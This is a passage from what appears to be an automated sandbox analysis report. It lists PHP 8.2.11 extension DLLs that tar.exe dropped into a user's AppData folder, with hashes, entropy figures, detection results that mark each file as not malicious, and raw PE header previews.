Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	157696
Entropy (8bit):	6.005613160335623
Encrypted:	false
SSDEEP:	3072:xj883Ey5iUKWc7oYrJhA8NrCsmTSjHJjDEO:xj880rUq8i+TCHJjB
MD5:	D9141908F62675273109741E7B7B2F54
SHA1:	50941410E1D70917C10C976BAF04977724564CBC
SHA-256:	1369CB4B93E19DC6EC57E0ABC8474A9626FC5AE593F4D024388919559C7DCA81
SHA-512:	3517DFFC5FE36253699213396742BAE04E98C5A21B9FE5934EFC8B7D2BB82FD3C177DD69C58D9E5EF7046583AFDD9A3F280CE138DCBC252FC229DC3544F27EFA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|\..8=v.8=v.8=v.1E.2=v.jHw.:=v.^R..:=v.jHs.4=v.jHr.0=v.jHu.<=v.sEw.:=v..Lw.:=v..Hw.;=v.8=w..=v..H~.>=v..Hv.9=v..H..9=v..Ht.9=v.Rich8=v.........................PE..d...M..e.........." ...............................................................U+....`A.........................................7..P....8..........`....p..................0.......T...........................P ..8............................................text............................... ..`.rdata..<...........................@..@.data...<....`.......B..............@....pdata.......p.......D..............@..@.rsrc...`............T..............@..@.reloc..0............`..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_odbc.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67072
Entropy (8bit):	5.625050853058865
Encrypted:	false
SSDEEP:	768:3xiFvgirIbSZ8hRcP8dmFn0aQAm4S6B+rHs8AsX7gNWFFXUWy:hit+biH0MNSt7srQsWnEW
MD5:	2C24ACF353F8A8EC26C0A5807A39F47F
SHA1:	38BFB558E099D3F0C89A0DE59997A3768B94FD03
SHA-256:	4704C016A305F9B3D0D843E7FB742D80CFFB7901383F20AB0A5B7E616BED4A11
SHA-512:	37A8D3A5D47F40B90D4B33333CB7A61530EC7D75293A15E94FA43686E7AE2A3F93502EBD9270B4F66B8B1CC20EA83FE8859A9B2690B085A4B93BCF17A7CD4CF6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=.#.\lp.\lp.\lp.$.p.\lp.)mq.\lp.3.p.\lp.)iq.\lp.)hq.\lp.)oq.\lp.$mq.\lpD)mq.\lp.\mp.\lpD)dq.\lpD)lq.\lpD).p.\lpD)nq.\lpRich.\lp................PE..d...w..e.........." .........................................................@.......:....`A........................................ ...d............ ..........@............0...... ...T.......................(.......8............................................text.............................. ..`.rdata...^.......`..................@..@.data...............................@....pdata..@...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_opcache.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.19605290151226
Encrypted:	false
SSDEEP:	24576:s/9JvlkQsvLoZYvNGHdrojJCPphbQQyHH6:s/PlkQsvLoZYvNGd7Qx
MD5:	AC26AB4F5763223C7D55A4400E62C2A0
SHA1:	7CDC897A2061D2145611BD2713837FCC28FC90FB
SHA-256:	AA04550C629C6501C6E09942E0532025A4E79459299D81B7D93EE792FA8AEED0
SHA-512:	E98B304DA212C7A7EFC6654229D6D5F168D308153914A7262819CB4663D578A342B01D1EA3222DA2FD34037BB75BEE795E2883B6FB0296F9F5AF1CC7C9B58A02
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:...~...~...~...w.b.n...,...\|.......x...,...s...,...v...,...z...5...z......}...~..........s........................Rich~...........PE..d......e.........." ........................................................@......?.....`A........................................PK......PM...................#........... .. ...$5..T....................:..(....5..8............ ..@............................text............................... ..`.rdata...^... ...`..................@..@.data....S.......@...p..............@....pdata...#.......$..................@..@.rsrc...............................@..@.reloc.. .... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_openssl.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	150528
Entropy (8bit):	6.093628718417149
Encrypted:	false
SSDEEP:	3072:D40LmOkosYGniz4wQ689pyqsau3y2JxrCOljSMzpuixnILGDOdnv3IwUE8T:hLLsYG8Q6ipyqsau3y2J9COljhzpuix7
MD5:	53CEA3100D66E25E1A0D487DB01C6EF1
SHA1:	9570A707736E622712CB05E2B81D018EB3FF4E9E
SHA-256:	92E2E4E7CD0AF40B5C5CABBED82CDD163377AAA25A3855FD2229F014A54B52EE
SHA-512:	EAC14A09A4135AE4A3B881E399FDB32A0431B6282FD2D6759A8D07998A2535FD8A12F57A98954DC8AD30E3C93978ACD4127115D66749361B65E3018A815519C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].x..g...g...g.......g..K....g.......g..K....g..K....g..K....g..R....g.......g.......g...g..,e.......g.......g.......g.......g..Rich.g..................PE..d......e.........." .....X..........`.....................................................`A....................................................@............p..P...............P...X...T...............................8............p...............................text....W.......X.................. ..`.rdata..*....p.......\..............@..@.data........P......................@....pdata..P....p.......0..............@..@.rsrc................<..............@..@.reloc..P............F..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_firebird.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.692000280117777
Encrypted:	false
SSDEEP:	384:0D/Cy7KLjoSM0RpqGIy6YDoRe8FBl1aFrBrlGQU6evs2ViO4EpQlZcEdNNS74kfu:sKUS9pDIN/QxOPvRViO4EpWZ1NNS7T
MD5:	42CFCC2A50EF8A696D29240289230B71
SHA1:	65AB7027FA25B326A2A823A42A16FE47256BBEB0
SHA-256:	8F40D805F00E056C3C66CF60026ECED566869A46A5097B9BC1281D08ED774FAE
SHA-512:	CB26C731481C1FDBA2427B90816FEBAC70DFA712180055865C64107CA12339270ADEE20C517D43BD5BAFF13D9392F76A310A7C944CB079AA44E9677A00E7E03B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`M..$,.Z$,.Z$,.Z-TtZ.,.ZvY.[&,.ZvY.[(,.ZvY.[,,.ZvY.[',.ZoT.[&,.ZKZ{Z&,.Z.Y.[',.Z$,.Z_,.Z.Y.[',.Z.Y.[%,.Z.Y.Z%,.Z.Y.[%,.ZRich$,.Z........................PE..d......e.........." .....D...8.......I....................................................`A.........................................u..T...$v..........l.......P...............p...pk..T............................k..8............`...............................text...XC.......D.................. ..`.rdata..."...`...$...H..............@..@.data................l..............@....pdata..P............n..............@..@.rsrc...l............t..............@..@.reloc..p............~..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_mysql.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30720
Entropy (8bit):	5.651889546705484
Encrypted:	false
SSDEEP:	384:hPXts6TMtnYFy29KWF9lCwvK8D7VtPIty/LXoZD8fqgoNhpQSDyLkfuA3:R+L+9Sw7UoqBhpQ4ya/
MD5:	01F30236EE1D63C1D820AEEF0D65E537
SHA1:	277052E4304B9763D08DFE66949CD4E96A8F6CE1
SHA-256:	3DD66594E0A9FFB825E7294E3B873CA055308EA8322ABFD89E1D3F87348D4F0D
SHA-512:	6BB153FE6A915DDCCAABCB5643326F583B6D39C1816396D41B3CFAECE2D84BD3AC8F2F4D5D112D90173D18D6B8D79567077AF54C707A953EFE822A78542BA62E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........P..............c.............................................V..............V.......V.......V.......V.......Rich............PE..d...1..e.........." .....<...8......`...............................................k.....`A.........................................f..P...@g.................. ....................T..T...........................`T..8............P...............................text...C;.......<.................. ..`.rdata..:"...P...$...@..............@..@.data................d..............@....pdata.. ............f..............@..@.rsrc................l..............@..@.reloc...............v..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_oci.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.812782572044853
Encrypted:	false
SSDEEP:	384:rJ6VSeIvZdq5ApI0zopshLND3s81eaWpa0+Lg70uwajN1L8QVgrNsQTYkfuT:uyI0zY+NTUuUQuDfL8Qmhsyz
MD5:	9214F0BC32185686EFA74CFB7DD77A5F
SHA1:	A6C80AC35CA56DF7BFF4532DCDD7212D27E9CB1B
SHA-256:	CB8FD230038D4246C9E502994142FD4BB63043F531B8F53840114A4DCA1774FD
SHA-512:	75DB6B54AC3A1994735AF9F9E129B019A54ACD00B0C8469DB83A4F1F85D69F08DB1C385ACF771B5AC52B5B4DC98A67E102424CB6B6910F89ED9CEBAEC966B817
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Rm.\.............ty.....Dy......Dy......Dy......Dy......]t.......}.......y..........o....y.......y.......y.......y......Rich............PE..d...Z..e.........." .....P...<.......S....................................................`A........................................Py..P....y..........T...........................`p..T............................p..8............`...............................text...hO.......P.................. ..`.rdata...'...`...(...T..............@..@.data................\|..............@....pdata...............~..............@..@.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_odbc.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	5.694057398919337
Encrypted:	false
SSDEEP:	384:EvXJb3TslcxAeK3naAxv3BFOJD8WRNuWuV3bDkfu:Ev5HOHeK3dsJD8quW+y
MD5:	62CB2CD0BCB38140AADAB3B0FD733D76
SHA1:	AF276B2F33DCD5A4B4A09CF40C4CA558F73476A7
SHA-256:	25133040AF508CFA510BA19359CB17E40D213233FE569F54B568D668F8527F07
SHA-512:	2F80CF35D67547854F29B983D6D0BD4E2C9BF88F65C627690821814B933CA6A55FE9B5135ECFB8E3F35975108A4A1A1F19BD3C4BAC86A632969998C6455D10B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n].\<..<..<..#DI.,<..xI..(<..xI..!<..xI.."<..xI..)<..aD...<...I..)<..<..Y<...I..)<...I..+<...I%.+<...I..+<..Rich*<..........................PE..d......e.........." .....:...6.......>..............................................'.....`A.........................................e..P...0f..........L.......P...............p....[..T...........................P\..8............P...............................text....9.......:.................. ..`.rdata..~!...P..."...>..............@..@.data................`..............@....pdata..P............b..............@..@.rsrc...L............h..............@..@.reloc..p............r..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_pgsql.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	44544
Entropy (8bit):	5.833228183570426
Encrypted:	false
SSDEEP:	768:4HAPw5VD/+wzv3iXJM0Yrso1ndY2c8NuAFEve3:Qn5V7FmXJM2kyUudm3
MD5:	DD7EACA3BACBE66E5C400C6208816900
SHA1:	02FB4502F505DFED23FEA161BE8CF53C21848615
SHA-256:	89A3795A4DDF885B0EC4C4A163D7F453F4524335C298F84A0C8A9C724A5D04DD
SHA-512:	131310BE70A68CB4598836DEC9A6A55CB4554498F569D32E2AC0D86F99E8175CD87351E913A0747DD7CDC897D16EDE87D86F165151AFFF5AC13640DD39FBE1DC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9z..9z..9z..A..9z..L{..9z..L...9z..L~..9z..Ly..9z..A{..9z.'L{..9z..L{..9z..9{.{9z..Lr..9z..Lz..9z..L...9z..Lx..9z.Rich.9z.................PE..d......e.........." .....b...H......`f....................................................`A............................................P..........................................4...T...............................8............................................text....a.......b.................. ..`.rdata...2.......4...f..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_sqlite.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29184
Entropy (8bit):	5.617682334230002
Encrypted:	false
SSDEEP:	384:Bcm5XRd+NrXQTtVXl60hbkYGscnzoYYjjH+wMyO12A0jlPeDQsHkfu/m:dRdXTV7xO4H+wMR05PlsG
MD5:	3AA11C06497DAD669A36C95997D11949
SHA1:	E508276AD6480469FDE12C7B3934EA333EE40113
SHA-256:	E88E3A64B81BBB4AE69A20D089D9CACBD94F7006A0336AF342E0A07BE8AA83A0
SHA-512:	C6310923708D2D570166190C09B091108C480C79C07EBC12E81EF09667B8732B625FFB1CD0F5239D27FB5D3039B0F29C53FA4D1DA99A00CBAF8D642D0C510AE3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............o.G.o.G.o.G..eG.o.G...F.o.G...F.o.G...F.o.G...F.o.G...F.o.Gd..F.o.Gn..F.o.G.o.G(o.Gn..F.o.Gn..F.o.Gn..G.o.Gn..F.o.GRich.o.G........PE..d......e.........." .....4...:......P...............................................Eu....`A........................................Pe..P....e..........`............................U..T...........................0V..8............P..X............................text....3.......4.................. ..`.rdata...&...P...(...8..............@..@.data................`..............@....pdata...............b..............@..@.rsrc...`............f..............@..@.reloc...............p..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pgsql.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	102400
Entropy (8bit):	5.9506957928660915
Encrypted:	false
SSDEEP:	3072:snGni66grdjHhNL74raXG6dpxTBH7dW+mQr:eGi66ghHhZXDdpxTBHhWH4
MD5:	5DF599A67BD246883BE13356884F52DB
SHA1:	36F784025B3DAA10ED08157F288145A556C4984A
SHA-256:	64D49048697FAEDB7DB50C7847E82E2FD73690715B97F086006F4653366852CF
SHA-512:	5B59017F206B29A5AAC606B9265F72D28666B818BC3C4FED94587AAE8B9E59A42B3C3C52CF1DB8B2E6F9F33016514AD157B0381A9D73DED3FE8144093C5C7628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j..............sR......~.......~......~......~......s......[~......R~..........`...R~.....R~......R~>.....R~.....Rich............................PE..d......e.........." ................ ...............................................8a....`A.........................................t......$u..................,...............X.......T.......................(...@...8............................................text............................... ..`.rdata..............................@..@.data................v..............@....pdata..,............x..............@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_shmop.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17920
Entropy (8bit):	5.096654198011819
Encrypted:	false
SSDEEP:	192:5p3ipVsaKgNytM+ZRmnMql7ABjoAq5OCY5UK206KPyamDhcqKfJQ8okfui:5diYRAPaBQ5iMYODHK/okfui
MD5:	E61AB7AF8F8B4296DEE7EA646736246B
SHA1:	9CA2F83A438756748F48B2D2E71E78A1ED49CF82
SHA-256:	65777F661200A533F723CA7F09B2CE26CD50F8A3EEF13C928D9682B664B9AF3B
SHA-512:	6E44D8353CF87CB8F159F6B4758C83AEE63AB13C4D7ECFD3C47D481768C8654D194BC0BEAE4096C48D119CF6FCB6E0937F07C0E447C7242D0A59A95C6699A74E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k.......................................................................................................Rich....................PE..d...3..e.........." .........*...... ...............................................X.....`A........................................`@..L....@..d....p..t....`.......................8..T...........................P9..8............0...............................text...X........................... ..`.rdata..l....0......................@..@.data........P.......4..............@....pdata.......`.......6..............@..@.rsrc...t....p.......:..............@..@.reloc...............D..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_snmp.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	429056
Entropy (8bit):	6.328602363733681
Encrypted:	false
SSDEEP:	12288:wNxyH1SlykmFB59Jqenl7iG+lMIxl/zZP:2xmIlyz59JqenlMlMml/z1
MD5:	D61E65180C31BC58EBFA02EFC9747CB5
SHA1:	1A3F88957EF6F1B1B271ACFA620BC25CF23E9322
SHA-256:	A4761A1429FDC1154F6F5A23870D6646872F76A41922E02A3199008D2462A89F
SHA-512:	7B39AE1F52334DFFFEA03AFF78797A8BB4E51711323F3C0D64F1D4F272853990344B040E3D5818CB3DC500ACE273EB7C00A9B6B3F5933FBC27A21FB1FD5E0064
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........tL.@.".@.".@.".Im..T."..`#.B.".&z.E."..`'.L."..`&.H."..`!.D."..m#.F."..`&.s."..`#.B."..`#.C.".@.#..."..`.A."..`".A."..`.A."..` .A.".Rich@.".........................PE..d...]..e.........." ......................................................... ............`A........................................p)..L....)..T...............h4..............H...`...T...............................8............................................text...8........................... ..`.rdata..F0.......2..................@..@.data....d...P.....................@....pdata..h4.......6...F..............@..@.rsrc................\|..............@..@.reloc..H...........................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_soap.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	261632
Entropy (8bit):	6.3084586176801976
Encrypted:	false
SSDEEP:	6144:pUCnHjdtqTB0gYG5aRzp/I0MHlCH8ePgmqd0nTjxjluxbcqTDM5:pUeX+YGoRKhCHRId0nmrTm
MD5:	D143954C4CFDA934031389D01DF76A8E
SHA1:	BE0ED5D4B76EA6C12790536C0E6E8B0DDEBB4B9D
SHA-256:	02DD664D61CB1E4DAE34A5E5C2A10AD0AECA9302639051EDE0F81FBF11412252
SHA-512:	7FBA2355227EE4A5647538D91AB9F7279F30DA85422ACEDAC7AEBD5069A153A41B8C199957D11BCA64256640358F94136BB4EC1E0BB71DD21717B9E9D1CED85C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y..^Y..^Y..^P.f^I..^..._[..^?..^Q..^..._T..^..._Q..^..._]..^..._[..^..._Z..^Y..^q..^..._^..^..._X..^...^X..^..._X..^RichY..^........................PE..d......e.........." ....."...................................................@............`A............................................L............ ..d....................0..$....L..T....................N..(... M..8............@..@............................text.... .......".................. ..`.rdata..v....@.......&..............@..@.data...............................@....pdata..............................@..@.rsrc...d.... ......................@..@.reloc..$....0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sockets.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	5.967987544596397
Encrypted:	false
SSDEEP:	1536:LHGqpZFYedl+qutDnqcOYcn4oso8QQMvLOQNxJ+BfLpPw0za:LHGqvFYedl+qutDn1NcneQQMvSVfo0za
MD5:	AE5A5A4274A3D049D97790EE00747BB6
SHA1:	0093C47439EBC7E09ACC6FB4E2B422FE161EEAF9
SHA-256:	DF90739B0A531C6FCF8F55245B505EBFED96BA9F4F77F9E859AFF0BBA367212C
SHA-512:	14CBED47582F015B77C6DB5C086CB44610CA3E804BC57B37848A989679B49ED537D29C1F4F64D6E5F747DDCC5E7B23115023283A0C12839F3BCECB58B799BF05
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n..............................................".........C..."......"......"......"......Rich...........PE..d......e.........." .................................................................j....`A........................................ %.......%.......`.......P...............p..........T.......................(... ...8............................................text............................... ..`.rdata...g.......h..................@..@.data...(....@.......$..............@....pdata.......P.......&..............@..@.rsrc........`......................@..@.reloc.......p.......8..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sodium.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	95744
Entropy (8bit):	5.736657370410124
Encrypted:	false
SSDEEP:	1536:oeEGulgbfm1es3+9L/sUsw88Hjbb/4hdtHZXXRnQgaUiaY2v67xoth13N3njp3f4:YWbe1ekdlwhrWoBnnlrj
MD5:	F604F58B4E0FA797854352FC52D025DE
SHA1:	5CDEEF2F05560CD0BB35395B490CD5C17C3533CB
SHA-256:	97A22CD1FB31E15BC726B561DF50097895F5B130351612F8D64C0B7CF87CD122
SHA-512:	E5417CE1E080A68F5F64BAFE3CE2D41A05CF67C3544E28DD5C4BEF6640BB494569D8EAF7A7F9BDE6ECE2A768186F27E93B1469669759B23391CF4241CE5047C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@..............?....................................................^...........:...^.......^.......^.S.....^.......Rich............PE..d......e.........." .................................................................E....`A........................................@H..L....H..........,.......................,...L4..T............................4..8...............X............................text............................... ..`.rdata..............................@..@.data........p.......V..............@....pdata...............X..............@..@.rsrc...,............f..............@..@.reloc..,............p..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sqlite3.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	5.649348250606528
Encrypted:	false
SSDEEP:	768:cYRfX+IDiSsvC/KTedFy3MIiTQKyoBl+MQ3sRBOWcXz0KZ3fmfe:cQ+jq8ed4MIiDv+MQ3sJcXHZ3efe
MD5:	D98AEBCA7AD78B5D6864B7238DEDBCCA
SHA1:	F869230D3E20BF8DF28066C81F34C4E78CCCDBC8
SHA-256:	721EB48BA3D7E22F6752B287376300530B6D5118F3FCD9687057FE581EE62A93
SHA-512:	659A83765014F21456815EEFEDF577DB15BA8D27C07B8E2310B0A9A19142C1A8FF681C2F7000A7E9DF0AD249698C1DEFEFF43A3BE1342D3F190624A665982C60
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J....m...m...m....6..m..\....m..\....m..\....m..\....m..E....m.......m.......m...m...m.......m.......m....Z..m.......m..Rich.m..........................PE..d......e.........." .....l...h......................................................Pq....`A...........................................P... ...........p...............................T.......................(...p...8............................................text....k.......l.................. ..`.rdata..NN.......P...p..............@..@.data...............................@....pdata..............................@..@.rsrc...p...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sysvshm.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.2387854927965884
Encrypted:	false
SSDEEP:	384:GKKt6SZoxSl/cVq0sxuvbISUxDHKdapIkfu:nKtzVRedITxDppD
MD5:	34191A2151A81CA0BBC84CDAA17AE452
SHA1:	C6150C8F22B44C3D20B4E3611604D22BAB9CCBD6
SHA-256:	15450D7A66FE193614CD016006A5424C340EDC19CDE41E90FC66BC1870855462
SHA-512:	10047B3F1EF5B2C040C189B54BC44FEECA16A9911EF56D032A204039274A34942C6EBB49D646EC9CAFD1FF5BCAB20676D863FE7F95049B8E6849D2006F6A7189
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~mT.:.:.:.:.:.:.3t..>.:.hy;.8.:.hy?.0.:.hy>.2.:.hy9.9.:.qt;.8.:..y;.9.:.:.;...:..y2.;.:..y:.;.:..y..;.:..y8.;.:.Rich:.:.........PE..d......e.........." .........,......`.....................................................`A.........................................@..P....A..d....p..X....`..$....................8..T........................... 9..8............0...............................text...(........................... ..`.rdata.......0......................@..@.data........P.......8..............@....pdata..$....`.......:..............@..@.rsrc...X....p.......>..............@..@.reloc...............H..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_tidy.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	754176
Entropy (8bit):	5.188336329604743
Encrypted:	false
SSDEEP:	12288:7hwCRJz9sI4/3Of3rgrWk6VU7hoXDGgP82:7hwCRJuI4/+jTwQ5
MD5:	DAC00EE2E2452EB6CE9EFD088114735D
SHA1:	F61D0266E0A6DDBBC08DC948C24A88EC38F79E15
SHA-256:	DC0E40EE90FC7AB061E278BD3581B2760D23C52A46F7A6ED84CC11659A8C6792
SHA-512:	8C45511C381DF3D625C99A5DAC08178A33157A320A3C64EC958A720E31CD235F4CD758F9DB63DB7060A59786CEC42316B0117741257D085B1D87BFFED4668FFC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................d........................................................P...............................Rich...........................PE..d.../..e.........." ................P...............................................\C....`A............................................L............p..L....@...-...............1..@...T.......................(.......8............................................text...8........................... ..`.rdata...B.......D..................@..@.data....O.......F..................@....pdata...-...@......................@..@.rsrc...L....p.......F..............@..@.reloc...1.......2...P..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_xsl.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	6.364579514841342
Encrypted:	false
SSDEEP:	3072:4deAMHPzFJvaPwEouJxw8UA4/wozFzM9cjhU5/zBLyIdl3OYZRwjBwkDM5R:XPz/vaP+88YoI9uqFRcBw6u
MD5:	F38C3A447B0C78C91EF8357E0CA58433
SHA1:	CEE764538AC188BC84CDE5CD9E89B3BD6F8F92F9
SHA-256:	CE3C7BEA72263797B56FE0219D4D694100CB5691CA5FF31C2E5AAB3AEDBDBC09
SHA-512:	451FF1790DA52FFDB5F1B431ABB889BD942290F3CBF63D74F83031CF555F68E63CBCE1BDE2E33FC28E1A4AEE4473CE7A612077BE7760654FF28A1B0B69AE3C41
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........".].C...C...C...;P..C...6...C...6...C...6...C...6...C...;...C..]6...C..W6...C...C...B..W6...C..W6...C..W6<..C..W6...C..Rich.C..................PE..d......e.........." .........n............................................................`A............................................L...............<....P...9..................p...T..............................8............................................text............................... ..`.rdata..8#.......$..................@..@.data...0....@......................@....pdata...9...P...:... ..............@..@.rsrc...<............Z..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_zend_test.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58880
Entropy (8bit):	5.6253628643647025
Encrypted:	false
SSDEEP:	768:Ss5AIBiqEUewBxgeoKe0k/bQxUDKpWtj/Uc4l3jZIsn2xwxSIY:QIBatu9eD/bQxUWpWZ/Ucc3jZ3n26AI
MD5:	014BC8F6CE678A25F100C1DC8A61BA4B
SHA1:	7AD4ABDB2F5B8BE3E526943AA5FDE2952C4D48A0
SHA-256:	482C6E82D176F3D2DD7FFE13314F8BC431C62484909C75B0946FDA5D204D4DF2
